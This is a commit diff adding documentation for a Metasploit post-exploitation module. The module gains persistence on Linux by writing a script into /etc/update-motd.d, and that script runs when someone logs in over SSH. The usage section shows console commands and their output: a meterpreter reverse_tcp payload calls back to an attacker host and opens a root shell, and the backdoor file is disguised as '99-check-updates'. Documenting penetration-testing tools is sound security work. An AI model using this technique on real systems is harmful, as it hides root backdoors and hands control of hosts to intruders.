docs: adding motd_persistence docs

Author: dledda-r7

documentation/modules/exploit/linux/local/motd_persistence.md

@@ -0,0 +1,49 @@
+This is a post module that perform a persistence installation on a linux system using [motd](https://manpages.debian.org/bookworm/manpages/motd.5.en.html).
+To trigger the persistence execution, an external event such as an user logging in the system with `SSH` is required.
+
+## Verification Steps
+
+  1. Start msfconsole
+  2. Obtain a session on the target machine
+  3. `use exploit/linux/local/motd_persistence`
+  4. `set session -1`
+  5. `exploit`
+
+## Module usage
+
+```
+msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use motd
+
+Matching Modules
+================
+
+   #  Name                                  Disclosure Date  Rank    Check  Description
+   -  ----                                  ---------------  ----    -----  -----------
+   0  exploit/linux/local/motd_persistence  1999-01-01       normal  No     update-motd.d Persistence
+
+
+Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/local/motd_persistence
+
+[*] Using exploit/linux/local/motd_persistence
+[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
+msf6 exploit(linux/local/motd_persistence) > set session -1
+session => -1
+msf6 exploit(linux/local/motd_persistence) > exploit
+
+[*] /etc/update-motd.d/99-check-updates written
+msf6 exploit(linux/local/motd_persistence) > 
+[*] Sending stage (3045380 bytes) to 172.18.49.39
+[*] Meterpreter session 2 opened (172.18.52.45:4444 -> 172.18.49.39:41848) at 2024-09-13 03:59:47 -0400
+msf6 exploit(linux/local/motd_persistence) > sessions -i -1
+[*] Starting interaction with 2...
+
+meterpreter > getuid
+Server username: root
+meterpreter > 
+```
+
+## Options
+
+### BACKDOOR_NAME
+
+Specify the name of the file to insert in the motd directory. (Default: 99-check-updates)